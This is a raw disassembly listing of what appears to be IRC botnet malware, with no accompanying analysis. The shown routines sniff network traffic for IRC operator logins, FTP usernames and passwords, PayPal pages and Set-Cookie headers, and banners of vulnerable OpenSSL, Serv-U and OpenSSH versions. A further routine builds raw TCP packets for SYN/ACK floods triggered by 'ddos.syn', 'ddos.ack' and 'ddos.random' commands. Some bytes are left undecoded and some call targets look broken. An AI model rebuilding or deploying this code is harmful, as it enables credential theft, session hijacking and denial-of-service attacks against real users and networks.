		dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4D08BC15h
		dd 0D075FF00h, 0FF90C9E8h, 905659FFh, 2DDCAFE8h
		db 2

; =============== S U B	R O U T	I N E =======================================



sub_412351	proc near		; CODE XREF: sub_412660+213p
					; sub_412660+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4D3590, eax
		mov	eax, offset dword_4D3590
		retn
sub_412351	endp


; =============== S U B	R O U T	I N E =======================================



sub_412360	proc near		; CODE XREF: sub_412660+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41237A


loc_412376:				; CODE XREF: sub_412360+29j
					; sub_412360+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41237A:				; CODE XREF: sub_412360+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412376
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4123C2


loc_4123BE:				; CODE XREF: sub_412360+71j
					; sub_412360+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4123C2:				; CODE XREF: sub_412360+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a366	; "366 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4123BE
		push	offset aIdent_0	; ":!ident"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4123BE
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412360	endp


; =============== S U B	R O U T	I N E =======================================



sub_412477	proc near		; CODE XREF: sub_412660+2F8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412491


loc_41248D:				; CODE XREF: sub_412477+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412491:				; CODE XREF: sub_412477+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41248D
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124B7


loc_4124B3:				; CODE XREF: sub_412477+4Fj
					; sub_412477+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124B7:				; CODE XREF: sub_412477+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124B3
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412477	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124ED	proc near		; CODE XREF: sub_412660+32Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412507


loc_412503:				; CODE XREF: sub_4124ED+29j
					; sub_4124ED+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412507:				; CODE XREF: sub_4124ED+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412503
		push	offset a220	; "220 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41253E


loc_41253A:				; CODE XREF: sub_4124ED+60j
					; sub_4124ED+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41253E:				; CODE XREF: sub_4124ED+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41253A
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_412574	proc near		; CODE XREF: sub_412660+35Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41258E


loc_41258A:				; CODE XREF: sub_412574+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41258E:				; CODE XREF: sub_412574+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41258A
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125B4


loc_4125B0:				; CODE XREF: sub_412574+4Fj
					; sub_412574+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125B4:				; CODE XREF: sub_412574+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125B0
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412574	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125FB	proc near		; CODE XREF: sub_412660:loc_412A25p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412615


loc_412611:				; CODE XREF: sub_4125FB+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412615:				; CODE XREF: sub_4125FB+14j
		push	offset aFaak	; "#FAAK#"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412611
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41263B


loc_412637:				; CODE XREF: sub_4125FB+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41263B:				; CODE XREF: sub_4125FB+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412637
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412660	proc near		; DATA XREF: sub_401ACD+427Co

var_113B8	= byte ptr -113B8h
var_113AF	= byte ptr -113AFh
var_113AC	= dword	ptr -113ACh
var_113A8	= dword	ptr -113A8h
var_113A4	= dword	ptr -113A4h
var_1138C	= byte ptr -1138Ch
var_13B8	= byte ptr -13B8h
var_BB8		= byte ptr -0BB8h
var_3B8		= byte ptr -3B8h
var_3B7		= byte ptr -3B7h
var_2B8		= byte ptr -2B8h
var_B8		= dword	ptr -0B8h
var_B4		= byte ptr -0B4h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_B8]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		lea	edi, [ebp+var_3B7]
		push	3Fh
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		mov	[ebp+var_3B8], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp+var_3B8]
		mov	[ebp+var_20], 2
		push	eax
		mov	[ebp+var_1E], bx
		mov	[ebp+var_1C], ebx
		call	dword_4D0838
		lea	eax, [ebp+var_3B8]
		push	eax
		call	dword_4D08A8
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41C310
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		push	ebx
		push	3
		push	2
		call	dword_4D08A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_10], edi
		jnz	short loc_412706
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412706:				; CODE XREF: sub_412660+9Bj
		lea	eax, [ebp+var_20]
		push	10h
		push	eax
		push	edi
		call	dword_4D0850
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41277C
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_43B3B8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_412758
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_412758:				; CODE XREF: sub_412660+D6j
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4D08BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		nop
		call	near ptr 26F0000h


loc_41277C:				; CODE XREF: sub_412660+B6j
		push	ebx
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_C], esi
		call	dword_4D07D0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_412802
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_2B8]
		push	offset unk_43B388
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_2C], ebx
		jnz	short loc_4127DE
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h


loc_4127DE:				; CODE XREF: sub_412660+15Cj
		lea	eax, [ebp+var_2B8]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	edi
		call	dword_4D08BC
		push	[ebp+var_34]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	near ptr 26F0000h
		nop


loc_412802:				; CODE XREF: sub_412660+13Cj
		mov	esi, 200h


loc_412807:				; CODE XREF: sub_412660+1D6j
					; sub_412660+1FBj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp+var_113B8]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_113B8]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_10]
		call	dword_4D083C
		cmp	[ebp+var_113AF], 6
		jnz	short loc_412807
		push	[ebp+var_113A4]
		mov	edi, dword_4271E4
		call	edi	; htons
		push	[ebp+var_113A4+2]
		movzx	eax, ax
		mov	[ebp+arg_0], eax
		call	edi	; htons
		cmp	[ebp+arg_0], 6Eh
		movzx	edi, ax
		jz	short loc_412807
		cmp	[ebp+arg_0], 19h
		jz	short loc_412807
		cmp	edi, 6Eh
		jz	short loc_412807
		cmp	edi, 19h
		jz	short loc_412807
		push	[ebp+var_113AC]
		call	sub_412351
		pop	ecx
		push	dword ptr [eax]
		nop
		call	near ptr 71AB401Ch
		push	eax
		lea	eax, [ebp+var_13B8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+var_113A8]
		call	sub_412351
		add	esp, 10h
		push	dword ptr [eax]
		call	near ptr 71AB401Ch
		nop
		push	eax
		lea	eax, [ebp+var_BB8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_1138C]
		mov	[ebp+var_4], ebx
		push	eax
		call	sub_41AFE0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412905


loc_4128D1:				; CODE XREF: sub_412660+2A3j
		mov	eax, [ebp+var_4]
		cmp	[ebp+eax+var_1138C], 0Dh
		lea	eax, [ebp+eax+var_1138C]
		jnz	short loc_4128E8
		mov	byte ptr [eax],	20h


loc_4128E8:				; CODE XREF: sub_412660+283j
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_4128F0
		mov	byte ptr [eax],	20h


loc_4128F0:				; CODE XREF: sub_412660+28Bj
		inc	[ebp+var_4]
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+var_4], eax
		pop	ecx
		jl	short loc_4128D1


loc_412905:				; CODE XREF: sub_412660+26Fj
		cmp	[ebp+arg_0], 50h
		jz	loc_4129B8
		cmp	edi, 50h
		jz	loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412360
		test	al, al
		pop	ecx
		jz	short loc_41294C
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B354
		jmp	loc_4129E7
; ---------------------------------------------------------------------------


loc_41294C:				; CODE XREF: sub_412660+2C7j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412477
		test	al, al
		pop	ecx
		jz	short loc_412982
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B320
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_412982:				; CODE XREF: sub_412660+300j
		cmp	edi, 50h
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_4124ED
		test	al, al
		pop	ecx
		jz	short loc_4129B8
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B2EC
		jmp	short loc_4129E7
; ---------------------------------------------------------------------------


loc_4129B8:				; CODE XREF: sub_412660+2A9j
					; sub_412660+2B2j ...
		lea	eax, [ebp+var_1138C]
		push	eax
		call	sub_412574
		test	al, al
		pop	ecx
		lea	eax, [ebp+var_1138C]
		push	eax
		jz	short loc_412A25
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		lea	eax, [ebp+var_13B8]
		push	[ebp+arg_0]
		push	eax
		push	offset unk_43B2B4


loc_4129E7:				; CODE XREF: sub_412660+2E7j
					; sub_412660+320j ...
		lea	eax, [ebp+var_2B8]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 20h
		cmp	[ebp+var_2C], ebx
		jnz	loc_412807
		push	ebx
		lea	eax, [ebp+var_2B8]
		push	[ebp+var_30]
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	[ebp+var_B8]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_412807
; ---------------------------------------------------------------------------


loc_412A25:				; CODE XREF: sub_412660+36Ej
		call	sub_4125FB
		test	al, al
		pop	ecx
		jz	loc_412807
		lea	eax, [ebp+var_1138C]
		push	eax
		lea	eax, [ebp+var_BB8]
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_13B8]
		push	eax
		push	offset unk_43B27C
		jmp	short loc_4129E7
sub_412660	endp

; ---------------------------------------------------------------------------
byte_412A53	db 55h			; DATA XREF: sub_401ACD+6542o
		dd 0EC81EC8Bh, 494h, 5608458Bh,	0A5B957h, 0F08B0000h, 0FD6CBD8Dh
		dd 0A5F3FFFFh, 29080C7h, 10000h, 95E80000h, 900228E0h
		dd 8E52E850h, 858D0000h, 0FFFFFE74h, 74858D50h,	50FFFFFFh
		dd 0FDF4858Dh, 8D50FFFFh, 0FFFD7485h, 98E850FFh, 83000003h
		dd 8D5014C4h, 0FFFB6C85h, 0B3E468FFh, 0E8500043h, 8DCAh
		dd 0C483F633h, 0F875390Ch, 8D562075h, 0FFFB6C85h, 0F475FFFFh
		dd 0F4858D50h, 50FFFFFEh, 0FD6CB5FFh, 8FE8FFFFh, 83FFFF6Fh
		dd 858D14C4h, 0FFFFFB6Ch, 26BAE850h, 0B5FF0000h, 0FFFFFD70h
		dd 0FF8915E8h, 565959FFh, 0D4FAE890h, 5E5F022Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B08	proc near		; CODE XREF: ___:00412E7Fp

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4D0794
		test	eax, eax
		jz	short loc_412B48
		xor	eax, eax
		jmp	loc_412E3B
; ---------------------------------------------------------------------------


loc_412B48:				; CODE XREF: sub_412B08+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4D08C8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_412E33
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_4D0804
		cmp	eax, 0FFFFFFFFh
		jz	loc_412E29
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_4D0824
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_4D0824
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_4D0824
		mov	[ebp+var_12], ax
		call	sub_41B8E2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_4D0824
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_4D0820
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C18
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C18:				; CODE XREF: sub_412B08+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C34
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_412C6C
; ---------------------------------------------------------------------------


loc_412C34:				; CODE XREF: sub_412B08+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412C6C
		call	sub_41B8E2
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	sub_41B8E2
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_412C6C:				; CODE XREF: sub_412B08+10Ej
					; sub_412B08+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_4D0824
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27A0000h
		lea	eax, [ebp+var_1C]
		push	eax
		nop
		call	near ptr 27908BDh
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	sub_41D280
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_412CBA:				; CODE XREF: sub_412B08+2E2j
					; sub_412B08+2F0j
		mov	[ebp+var_4], bx
		call	sub_41B8E2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4D0824
		mov	[ebp+var_14], ax
		call	sub_41B8E2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41B8E2
		or	edi, eax
		push	edi
		call	dword_4D0824
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4D0820
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4D0824
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41C310
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AC68
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41C310
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_4D0888
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412DFD
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	near ptr 27908BDh
		nop
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_412E26
		jl	loc_412CBA
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_412E26
		jmp	loc_412CBA
; ---------------------------------------------------------------------------


loc_412DFD:				; CODE XREF: sub_412B08+2CBj
		call	dword_4D07B8
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_43B40C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_4151AC
		add	esp, 10h
		jmp	short loc_412E29
; ---------------------------------------------------------------------------


loc_412E26:				; CODE XREF: sub_412B08+2E0j
					; sub_412B08+2EEj
		mov	ebx, [ebp+arg_8]


loc_412E29:				; CODE XREF: sub_412B08+78j
					; sub_412B08+31Cj
		push	[ebp+var_20]
		call	dword_4D08BC
		pop	esi


loc_412E33:				; CODE XREF: sub_412B08+5Bj
		call	dword_4D077C
		mov	eax, ebx


loc_412E3B:				; CODE XREF: sub_412B08+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_412B08	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40AAF9
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41B779
		push	dword ptr [esp+24h]
		mov	ebx, eax
		call	sub_41B779
		mov	edi, eax
		call	sub_41B8E2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		push	dword ptr [esp+2Ch]
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_412B08
		add	esp, 20h
		test	eax, eax
		jnz	short loc_412E8E
		push	1
		pop	eax


loc_412E8E:				; CODE XREF: ___:00412E89j
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_412E9D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6721o
		dd 3BCEC81h, 56530000h,	5708458Bh, 0F08B686Ah, 44BD8D59h
		dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h,	9C988902h
		dd 0FF000001h, 4D08A415h, 0FFF88300h, 75FC4589h, 0B815FF5Fh
		dd 50004D07h, 0FC44858Dh, 0C68FFFFh, 500043B5h,	8995E8h
		dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh,	75FFFFFFh
		dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah
		dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h
		dd 59FFFF84h, 0E8905759h, 22DD0C8h, 6AF44D8Dh, 0FF335104h
